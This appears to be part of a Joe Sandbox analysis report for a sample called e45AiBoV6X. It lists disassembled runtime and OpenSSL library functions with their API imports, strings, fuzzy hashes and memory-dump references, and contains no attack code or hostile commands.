Associated: 00000001.00000002.1989488665.00007FF6FB1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989584297.00007FF6FB20B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989640265.00007FF6FB21E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989640265.00007FF6FB223000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989725163.00007FF6FB226000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6fb1e0000_e45AiBoV6X.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: bce21d2362216a5e504affcf34f2858e363de54600403cac3d1eeb36cb2ab404
Instruction ID: 620594066fdd09bc23555b06cb731c534d9d0e903a29610f9efb70cb57adf806
Opcode Fuzzy Hash: bce21d2362216a5e504affcf34f2858e363de54600403cac3d1eeb36cb2ab404
Instruction Fuzzy Hash: B9118F36E58A0341F7541128D67537721406F6D3F4F662634EA7ECE6FAEE2CA8818710

Function 00007FF6FB1FA6A0 Relevance: 7.6, APIs: 5, Instructions: 54COMMONLIBRARYCODE

Download Yara Rule

APIs

FlsGetValue.KERNEL32(?,?,?,00007FF6FB1F98B3,?,?,00000000,00007FF6FB1F9B4E,?,?,?,?,?,00007FF6FB1F9ADA), ref: 00007FF6FB1FA6BF
FlsSetValue.KERNEL32(?,?,?,00007FF6FB1F98B3,?,?,00000000,00007FF6FB1F9B4E,?,?,?,?,?,00007FF6FB1F9ADA), ref: 00007FF6FB1FA6DE
FlsSetValue.KERNEL32(?,?,?,00007FF6FB1F98B3,?,?,00000000,00007FF6FB1F9B4E,?,?,?,?,?,00007FF6FB1F9ADA), ref: 00007FF6FB1FA706
FlsSetValue.KERNEL32(?,?,?,00007FF6FB1F98B3,?,?,00000000,00007FF6FB1F9B4E,?,?,?,?,?,00007FF6FB1F9ADA), ref: 00007FF6FB1FA717
FlsSetValue.KERNEL32(?,?,?,00007FF6FB1F98B3,?,?,00000000,00007FF6FB1F9B4E,?,?,?,?,?,00007FF6FB1F9ADA), ref: 00007FF6FB1FA728

Memory Dump Source

Source File: 00000001.00000002.1989528263.00007FF6FB1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FB1E0000, based on PE: true

Associated: 00000001.00000002.1989488665.00007FF6FB1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989584297.00007FF6FB20B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989640265.00007FF6FB21E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989640265.00007FF6FB223000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989725163.00007FF6FB226000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6fb1e0000_e45AiBoV6X.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: 25d361a094b2c99e262beff41eaee06ac9464b6f74968b1c14d3cfe42ff85be4
Instruction ID: 4ccb9ce30468c37a51903fa91ec71163c5e46ceb78926bf98ca762b83b7ede2f
Opcode Fuzzy Hash: 25d361a094b2c99e262beff41eaee06ac9464b6f74968b1c14d3cfe42ff85be4
Instruction Fuzzy Hash: 7A113721F5C24342FB58E3259A5557A21A26F9C3B8E084334E83EC66F6FE2DE941C701

Function 00007FF6FB1FA534 Relevance: 7.6, APIs: 5, Instructions: 50COMMON

Download Yara Rule

APIs

FlsGetValue.KERNEL32 ref: 00007FF6FB1FA545
FlsSetValue.KERNEL32 ref: 00007FF6FB1FA564
FlsSetValue.KERNEL32 ref: 00007FF6FB1FA58C
FlsSetValue.KERNEL32 ref: 00007FF6FB1FA59D
FlsSetValue.KERNEL32 ref: 00007FF6FB1FA5AE

Memory Dump Source

Source File: 00000001.00000002.1989528263.00007FF6FB1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FB1E0000, based on PE: true

Associated: 00000001.00000002.1989488665.00007FF6FB1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989584297.00007FF6FB20B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989640265.00007FF6FB21E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989640265.00007FF6FB223000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989725163.00007FF6FB226000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6fb1e0000_e45AiBoV6X.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: a853173f6999e7d5ef833d9e4f06cbd56a904a1eb1d6261c936ae8f95b9bedb9
Instruction ID: 6e4fc18ec32506725c517572023f850b7cb6299b425e65a03e800070ac70ddf2
Opcode Fuzzy Hash: a853173f6999e7d5ef833d9e4f06cbd56a904a1eb1d6261c936ae8f95b9bedb9
Instruction Fuzzy Hash: D111F720E6C20742FB68E33559551BA22925F8E378E184734D93ECA2F6FD2DB841CA42

Function 00007FF6FB1F52B0 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 242COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6FB1F52EC
_invalid_parameter_noinfo.LIBCMT ref: 00007FF6FB1F5416
_invalid_parameter_noinfo.LIBCMT ref: 00007FF6FB1F54CC

Strings

verbose, xrefs: 00007FF6FB1F52C0

Memory Dump Source

Source File: 00000001.00000002.1989528263.00007FF6FB1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FB1E0000, based on PE: true

Associated: 00000001.00000002.1989488665.00007FF6FB1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989584297.00007FF6FB20B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989640265.00007FF6FB21E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989640265.00007FF6FB223000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989725163.00007FF6FB226000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6fb1e0000_e45AiBoV6X.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: verbose
API String ID: 3215553584-579935070
Opcode ID: f7ed0d29023b39033d3e63b48c2fcebc8df79207a036ffcb4dd83b8b3075c670
Instruction ID: bdfad847e93d5349798945b1985aad539a6d5d686fa60a9bfdd12c3c223e011b
Opcode Fuzzy Hash: f7ed0d29023b39033d3e63b48c2fcebc8df79207a036ffcb4dd83b8b3075c670
Instruction Fuzzy Hash: 5A91AD32E08A4781E721DE29E45137D3691AB49B9CF884136DAAE863F5FE3CE445C310

Function 00007FF6FB1FEED8 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 219COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6FB1FF1B7

Part of subcall function 00007FF6FB1F6D4C: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6FB1F6D69

Strings

UTF-16LEUNICODE, xrefs: 00007FF6FB1FF155
UTF-8, xrefs: 00007FF6FB1FF136
ccs, xrefs: 00007FF6FB1FF0F2

Memory Dump Source

Source File: 00000001.00000002.1989528263.00007FF6FB1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FB1E0000, based on PE: true

Associated: 00000001.00000002.1989488665.00007FF6FB1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989584297.00007FF6FB20B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989640265.00007FF6FB21E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989640265.00007FF6FB223000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989725163.00007FF6FB226000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6fb1e0000_e45AiBoV6X.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: UTF-16LEUNICODE$UTF-8$ccs
API String ID: 3215553584-1196891531
Opcode ID: f2afffe6052eb22f88312eb2a9052de40cf8af355caad6dfb5a285a3356e609b
Instruction ID: 16fcf6c1c2939ae8973adc2449e308ef80cfa3d205bf8e4658ba90451dbd632a
Opcode Fuzzy Hash: f2afffe6052eb22f88312eb2a9052de40cf8af355caad6dfb5a285a3356e609b
Instruction Fuzzy Hash: 1B818B72E0E203C5FB74CF29C15027927A2AB19B4CF558035DA3AD72E9FEADE905D601

Function 00007FFDFAEE20C0 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 196COMMON

Download Yara Rule

APIs

00007FFE1FFB6570.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FFDFAEE2102
00007FFE1FFB6570.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FFDFAEE2120

Strings

HANGUL SYLLABLE , xrefs: 00007FFDFAEE20EF
CJK UNIFIED IDEOGRAPH-, xrefs: 00007FFDFAEE2116

Memory Dump Source

Source File: 00000001.00000002.1989811289.00007FFDFAEE1000.00000040.00000001.01000000.00000013.sdmp, Offset: 00007FFDFAEE0000, based on PE: true

Associated: 00000001.00000002.1989771802.00007FFDFAEE0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.1989811289.00007FFDFAF44000.00000040.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.1989811289.00007FFDFAF93000.00000040.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.1989811289.00007FFDFAFEC000.00000040.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.1989811289.00007FFDFAFF1000.00000040.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.1989811289.00007FFDFAFF4000.00000040.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.1990150988.00007FFDFAFF5000.00000080.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.1990196980.00007FFDFAFF7000.00000004.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdfaee0000_e45AiBoV6X.jbxd

Similarity

API ID: 00007B6570
String ID: CJK UNIFIED IDEOGRAPH-$HANGUL SYLLABLE
API String ID: 4069847057-87138338
Opcode ID: 584a3ecbb584e5f31d1f5134e6ee0f37006161d217b53c308b4eadc448ab7721
Instruction ID: e36873e24ca769185d08284cb94f2217b2885564662714178cba051f36b9875d
Opcode Fuzzy Hash: 584a3ecbb584e5f31d1f5134e6ee0f37006161d217b53c308b4eadc448ab7721
Instruction Fuzzy Hash: 79713932B0854246EB68EF19A8A0AB97361BF84754F460275EE6E476DCEF3DDD058700

Function 00007FF6FB1EC968 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 154COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF6FB1EC993
_IsNonwritableInCurrentImage.LIBCMT ref: 00007FF6FB1ECA2A
RtlUnwindEx.KERNEL32 ref: 00007FF6FB1ECA84

Strings

csm, xrefs: 00007FF6FB1ECA11

Memory Dump Source

Source File: 00000001.00000002.1989528263.00007FF6FB1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FB1E0000, based on PE: true

Associated: 00000001.00000002.1989488665.00007FF6FB1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989584297.00007FF6FB20B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989640265.00007FF6FB21E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989640265.00007FF6FB223000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989725163.00007FF6FB226000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6fb1e0000_e45AiBoV6X.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm
API String ID: 2395640692-1018135373
Opcode ID: 8b87fa2c553d9157ee5c92b9fa7cd74c02d8a8cd0f0d05c46c7470457ee5a2ed
Instruction ID: 7555ce8033bff93ce848f9201fb72d2c70babcad80ee5b57bb5a117864d3585a
Opcode Fuzzy Hash: 8b87fa2c553d9157ee5c92b9fa7cd74c02d8a8cd0f0d05c46c7470457ee5a2ed
Instruction Fuzzy Hash: D9515F32F196438ADB14CB15E844A7D7791FB88B98F148131EA6987FE4FE79F8818700

Function 00007FF6FB1EE1F8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

EncodePointer.KERNEL32 ref: 00007FF6FB1EE257
_CallSETranslator.LIBVCRUNTIME ref: 00007FF6FB1EE2A3

Strings

MOC, xrefs: 00007FF6FB1EE26B
RCC, xrefs: 00007FF6FB1EE273

Memory Dump Source

Source File: 00000001.00000002.1989528263.00007FF6FB1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FB1E0000, based on PE: true

Associated: 00000001.00000002.1989488665.00007FF6FB1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989584297.00007FF6FB20B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989640265.00007FF6FB21E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989640265.00007FF6FB223000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989725163.00007FF6FB226000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6fb1e0000_e45AiBoV6X.jbxd

Similarity

API ID: CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 3544855599-2084237596
Opcode ID: c1bd0f280093dc077c2402edd2c21f20ddcaf15bcc9dc74a739a9fc2baeea3e9
Instruction ID: e1f080a5e38b8d542ba4a18d8ea05712d3fa2e7b27fd4cc32a51703e8e7905ff
Opcode Fuzzy Hash: c1bd0f280093dc077c2402edd2c21f20ddcaf15bcc9dc74a739a9fc2baeea3e9
Instruction Fuzzy Hash: F8616433D0878685D761DB15E4407AEB7A0FB89B98F044225EBAD87BA5DF7CE194CB00

Function 00007FF6FB1EE5A8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF6FB1EE5D0
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 00007FF6FB1EE6B8

Strings

csm, xrefs: 00007FF6FB1EE70A
csm, xrefs: 00007FF6FB1EE5F2

Memory Dump Source

Source File: 00000001.00000002.1989528263.00007FF6FB1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FB1E0000, based on PE: true

Associated: 00000001.00000002.1989488665.00007FF6FB1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989584297.00007FF6FB20B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989640265.00007FF6FB21E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989640265.00007FF6FB223000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989725163.00007FF6FB226000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6fb1e0000_e45AiBoV6X.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: 35f1ba398413474562c31f87a28067be7b3dedf2abf1bb91a394967b9293af31
Instruction ID: a6c22ba9bb68c41f0de174055e8b82e1e5c9fb922441a5d797d154e7415f4d60
Opcode Fuzzy Hash: 35f1ba398413474562c31f87a28067be7b3dedf2abf1bb91a394967b9293af31
Instruction Fuzzy Hash: 9E518D33E0824386EBA4CB21D04426E76A1EB5DB98F144135DA6D97FE5EFBCF8508B41

Function 00007FFDFB002833 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 137COMMON

Download Yara Rule

Strings

T, xrefs: 00007FFDFB0C3563
..\s\crypto\async\async.c, xrefs: 00007FFDFB0C33EF, 00007FFDFB0C343D, 00007FFDFB0C3456, 00007FFDFB0C348C, 00007FFDFB0C34D6, 00007FFDFB0C352C, 00007FFDFB0C354D, 00007FFDFB0C356B, 00007FFDFB0C35A5, 00007FFDFB0C35CA

Memory Dump Source

Source File: 00000001.00000002.1990278020.00007FFDFB001000.00000040.00000001.01000000.00000010.sdmp, Offset: 00007FFDFB000000, based on PE: true

Associated: 00000001.00000002.1990234767.00007FFDFB000000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB00D000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB065000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB079000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB08A000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB090000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB09D000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB24D000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB24F000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB27A000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB2AB000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB2D1000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB31F000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB325000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB327000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB343000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB350000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1991500652.00007FFDFB354000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1991539153.00007FFDFB356000.00000004.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdfb000000_e45AiBoV6X.jbxd

Similarity

API ID:
String ID: ..\s\crypto\async\async.c$T
API String ID: 0-2182492907
Opcode ID: 35f0047b15d0707436582e346161fd0798c88da3669e9136a27bd4f66ac9aa58
Instruction ID: 1856ac2739ab7193246910b49b29995044c64ef1a73ff5b90e14431acb39d1c3
Opcode Fuzzy Hash: 35f0047b15d0707436582e346161fd0798c88da3669e9136a27bd4f66ac9aa58
Instruction Fuzzy Hash: 07517C31B1AA4386EB20EB11D420DB97761EF46784F444035DAAD47BEDDF3DEA09AB00

Function 00007FFDFB0C7060 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 129networkCOMMON

Download Yara Rule

APIs

getnameinfo.WS2_32 ref: 00007FFDFB0C70FB
htons.WS2_32 ref: 00007FFDFB0C716B

Strings

, xrefs: 00007FFDFB0C70E1
..\s\crypto\bio\b_addr.c, xrefs: 00007FFDFB0C7114, 00007FFDFB0C7196, 00007FFDFB0C71B5, 00007FFDFB0C71E5, 00007FFDFB0C7202, 00007FFDFB0C7224

Memory Dump Source

Source File: 00000001.00000002.1990278020.00007FFDFB09D000.00000040.00000001.01000000.00000010.sdmp, Offset: 00007FFDFB000000, based on PE: true

Associated: 00000001.00000002.1990234767.00007FFDFB000000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB001000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB00D000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB065000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB079000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB08A000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB090000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB24D000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB24F000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB27A000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB2AB000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB2D1000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB31F000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB325000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB327000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB343000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB350000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1991500652.00007FFDFB354000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1991539153.00007FFDFB356000.00000004.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdfb000000_e45AiBoV6X.jbxd

Similarity

API ID: getnameinfohtons
String ID: $..\s\crypto\bio\b_addr.c
API String ID: 1503050688-1606403076
Opcode ID: 3e1d6eff2a227a7976513e37b9e77a30347737a810686e613b04f7a4be4ac52b
Instruction ID: 1f4e682c4593e5e1ee1b3ea3d3b05a79359c6f820c501d81f28f4d101a1d5791
Opcode Fuzzy Hash: 3e1d6eff2a227a7976513e37b9e77a30347737a810686e613b04f7a4be4ac52b
Instruction Fuzzy Hash: 3651A361B0A68386FB209F15D421AB973A0EF42784F444135EBAD47AFDEF3DE9859700

Function 00007FFDFB003841 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 82COMMON

Download Yara Rule

Strings

..\s\crypto\bio\b_sock.c, xrefs: 00007FFDFB0C9F2A, 00007FFDFB0C9FAD
J, xrefs: 00007FFDFB0C9FA5
host=, xrefs: 00007FFDFB0CA01E

Memory Dump Source

Source File: 00000001.00000002.1990278020.00007FFDFB001000.00000040.00000001.01000000.00000010.sdmp, Offset: 00007FFDFB000000, based on PE: true

Associated: 00000001.00000002.1990234767.00007FFDFB000000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB00D000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB065000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB079000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB08A000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB090000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB09D000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB24D000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB24F000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB27A000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB2AB000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB2D1000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB31F000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB325000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB327000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB343000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB350000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1991500652.00007FFDFB354000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1991539153.00007FFDFB356000.00000004.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdfb000000_e45AiBoV6X.jbxd

Similarity

API ID:
String ID: ..\s\crypto\bio\b_sock.c$J$host=
API String ID: 0-1729655730
Opcode ID: 01b0efafc7697a4f7d6a1a530da6b0f90e7318cc905d80235fe94a0ed0c4634c
Instruction ID: b4ec106b901c8aa8735f00a9017c661399a6aacb2fbb230aeca15002a946444f
Opcode Fuzzy Hash: 01b0efafc7697a4f7d6a1a530da6b0f90e7318cc905d80235fe94a0ed0c4634c
Instruction Fuzzy Hash: BD316D72B0968382EB109B55E4619AEA360FF867D4F480035EBAC43BEEDF3DD5419B04

Function 00007FF6FB1E7530 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 81COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNEL32(00000000,?,00007FF6FB1E324C,?,?,00007FF6FB1E3964), ref: 00007FF6FB1E7642

Strings

%s%c, xrefs: 00007FF6FB1E75B4
%.*s, xrefs: 00007FF6FB1E75FB
\, xrefs: 00007FF6FB1E75A7

Memory Dump Source

Source File: 00000001.00000002.1989528263.00007FF6FB1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FB1E0000, based on PE: true

Associated: 00000001.00000002.1989488665.00007FF6FB1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989584297.00007FF6FB20B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989640265.00007FF6FB21E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989640265.00007FF6FB223000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989725163.00007FF6FB226000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6fb1e0000_e45AiBoV6X.jbxd

Similarity

API ID: CreateDirectory
String ID: %.*s$%s%c$\
API String ID: 4241100979-1685191245
Opcode ID: 1156698ca0d33aa8d2468b4f0fdefbfa17a3fd1640f2d1a941dba21d9585616c
Instruction ID: a68329dc8879b11a9db30ed83c52efd69019cf10e3089e6c2c5d6ba49b7c8718
Opcode Fuzzy Hash: 1156698ca0d33aa8d2468b4f0fdefbfa17a3fd1640f2d1a941dba21d9585616c
Instruction Fuzzy Hash: 1F318221E19AC745FB21DB15E8107AE6254EB4CBE8F444231EA7D83BE9FF2CE2458700

Function 00007FFDFB001C76 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 57COMMON

Download Yara Rule

APIs

00007FFE1FFB5630.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FFDFB1B662A

Strings

..\s\crypto\pem\pem_pkey.c, xrefs: 00007FFDFB1B6654, 00007FFDFB1B6679, 00007FFDFB1B6690
X9.42 DH PARAMETERS, xrefs: 00007FFDFB1B6619
DH PARAMETERS, xrefs: 00007FFDFB1B65DB

Memory Dump Source

Source File: 00000001.00000002.1990278020.00007FFDFB001000.00000040.00000001.01000000.00000010.sdmp, Offset: 00007FFDFB000000, based on PE: true

Associated: 00000001.00000002.1990234767.00007FFDFB000000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB00D000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB065000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB079000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB08A000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB090000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB09D000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB24D000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB24F000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB27A000.00000040.00000001.01000000.00000010.sdmpDownload File
